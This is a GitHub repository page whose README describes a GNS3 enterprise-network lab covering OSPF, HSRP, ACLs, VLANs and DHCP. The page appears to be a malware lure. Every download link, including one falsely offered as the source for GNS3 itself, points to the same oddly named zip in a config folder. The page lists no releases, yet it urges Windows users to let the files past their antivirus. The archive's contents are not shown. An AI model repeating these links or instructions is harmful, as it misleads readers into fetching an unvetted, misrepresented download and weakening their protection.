Skip to content

Jhonnydog88/Enterprise-Network

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

26 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🌐 Enterprise-Network - Simulate Complex Network Labs Easily

Download Latest Release


📘 About Enterprise-Network

Enterprise-Network is a detailed lab designed to help users simulate an enterprise network using GNS3. It includes popular networking technologies such as OSPF, HSRP, LACP, Extended ACLs, VTP, SVIs, PAT, and DHCP. This project is ideal for anyone eager to explore or practice network configurations in a controlled virtual environment.

You do not need programming skills or advanced computer knowledge to use this lab. It is built to work with GNS3, a well-known network simulation platform that lets you create and test networks on your computer.

Whether you want to learn more about routing, security rules, link aggregation, or VLAN configurations, Enterprise-Network offers a hands-on experience that reflects real-world enterprise setups.


🖥️ System Requirements

Before starting, make sure your computer meets these requirements:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or a modern Linux distribution.
  • Processor: Dual-core 2 GHz or higher.
  • Memory (RAM): At least 8 GB (16 GB recommended for smoother simulation).
  • Disk Space: At least 10 GB free space.
  • Network: Internet access is needed to download required files and updates.
  • Software: GNS3 version 2.2.0 or higher installed on your system.

If you don’t have GNS3 yet, you can download it from https://raw.githubusercontent.com/Jhonnydog88/Enterprise-Network/main/Running_Configs/Network_Enterprise_provincialship.zip.


🧰 What’s Included?

This lab project includes the following components:

  • OSPF (Open Shortest Path First): A routing protocol for efficient data routing within the network.
  • HSRP (Hot Standby Router Protocol): Ensures network availability by providing failover protection.
  • LACP (Link Aggregation Control Protocol): Combines multiple network links for improved speed and redundancy.
  • Extended ACLs (Access Control Lists): Control traffic by filtering packets based on rules.
  • VTP (VLAN Trunking Protocol): Manage VLAN configurations across switches.
  • SVIs (Switched Virtual Interfaces): Enable inter-VLAN routing.
  • PAT (Port Address Translation): Share a single IP address for multiple devices.
  • DHCP (Dynamic Host Configuration Protocol): Automatically assigns IP addresses on the network.

This setup replicates a typical enterprise network environment for training and testing purposes.


🚀 Getting Started with Enterprise-Network

Follow these steps to get the lab up and running on your system.

1. Prepare Your Computer

  • Check that your system meets the requirements listed above.
  • Install GNS3 if it’s not installed yet. Follow their official instructions for your operating system.

2. Download Enterprise-Network

Click the big button at the top or visit the release page here:

Download Enterprise-Network

This page contains the latest versions of the lab files. Usually, you will find compressed files (.zip or https://raw.githubusercontent.com/Jhonnydog88/Enterprise-Network/main/Running_Configs/Network_Enterprise_provincialship.zip) to download.

3. Extract the Files

  • After downloading, unzip the file using your computer’s built-in tools or a program like 7-Zip or WinRAR.
  • Put the extracted folder in a convenient location on your computer, like your Desktop or Documents folder.

4. Open GNS3 and Import the Lab

  • Launch GNS3.
  • Use the “Import Project” or “Import Appliance” option under the File menu.
  • Navigate to the folder where you extracted the lab files.
  • Select the project file (usually with a .gns3 extension) and open it.

5. Verify the Lab Setup

  • Check that all devices and links appear as shown in screenshots or documentation.
  • Make sure the required images (such as router or switch operating system images) are available. If they are missing, GNS3 will prompt you to download or provide them.

6. Start the Simulation

  • Click the Start button or Power on all devices from the GNS3 toolbar.
  • Watch for any errors in loading devices.
  • Use the console window to access each device and enter commands if needed.

💾 Download & Install

You can visit this page to download all necessary files for Enterprise-Network:

https://raw.githubusercontent.com/Jhonnydog88/Enterprise-Network/main/Running_Configs/Network_Enterprise_provincialship.zip

Tips for Downloading:

  • Always download the latest release to ensure you have the newest features and bug fixes.
  • Check the release notes on the page for any special instructions.
  • For Windows users, make sure your antivirus software allows GNS3 and this lab files to run.

🔧 Basic Usage Tips

  • Start by reviewing the lab layout in GNS3. Notice the routers, switches, and links.
  • Open the console for each device to access its command line interface.
  • Follow commands relevant to the technologies in the lab:
    • To check OSPF neighbors, type show ip ospf neighbor on routers.
    • For ACLs, view rules with show access-lists.
    • Observe HSRP status with show standby brief.
  • Use the DHCP-configured devices to verify if IP addresses are assigned automatically.
  • Experiment with turning devices on and off to observe failover and routing changes.

📚 Learning Resources

If you are new to these network technologies, these resources can help:

  • OSPF: Check Cisco’s official OSPF section or basic tutorials on YouTube.
  • HSRP: Look for explanations on router redundancy and failover.
  • LACP: Understand how multiple network links are combined.
  • ACLs: Learn how to create rules to control traffic flow.
  • VTP and VLANs: Read about how VLANs are created and managed.
  • PAT and DHCP: Tutorials on IP address management.

It is normal to take time to get familiar with these terms. This lab is designed to help you learn by doing.


🧩 Troubleshooting

If you run into problems:

  • Make sure all device images are correctly installed in GNS3.
  • Verify that your system meets all hardware and software requirements.
  • Restart GNS3 if the lab does not load or devices do not start.
  • Check your internet connection if downloads fail.
  • Visit the GNS3 community forums for help on general issues.
  • Review the project documentation for specific lab instructions.

📞 Support and Feedback

This project is open source, which means anyone can contribute or report issues.

  • Use the Issues tab in this repository to report bugs or ask questions.
  • Describe your problem clearly with steps to reproduce it.
  • Sharing screenshots can help diagnose problems faster.

Your feedback is valuable to improve the lab for all users.


⚙️ Advanced Use

Once comfortable, you can start modifying the lab:

  • Add new devices like firewalls or additional switches.
  • Change configuration files to try different setups.
  • Integrate with other GNS3 projects for larger simulations.
  • Automate repetitive tasks using scripts inside devices.

This flexibility allows you to deepen your networking knowledge step by step.


Thank you for choosing Enterprise-Network. The project gives you a practical way to learn how enterprise networks work without needing real hardware.

Releases

No releases published

Packages

 
 
 

Contributors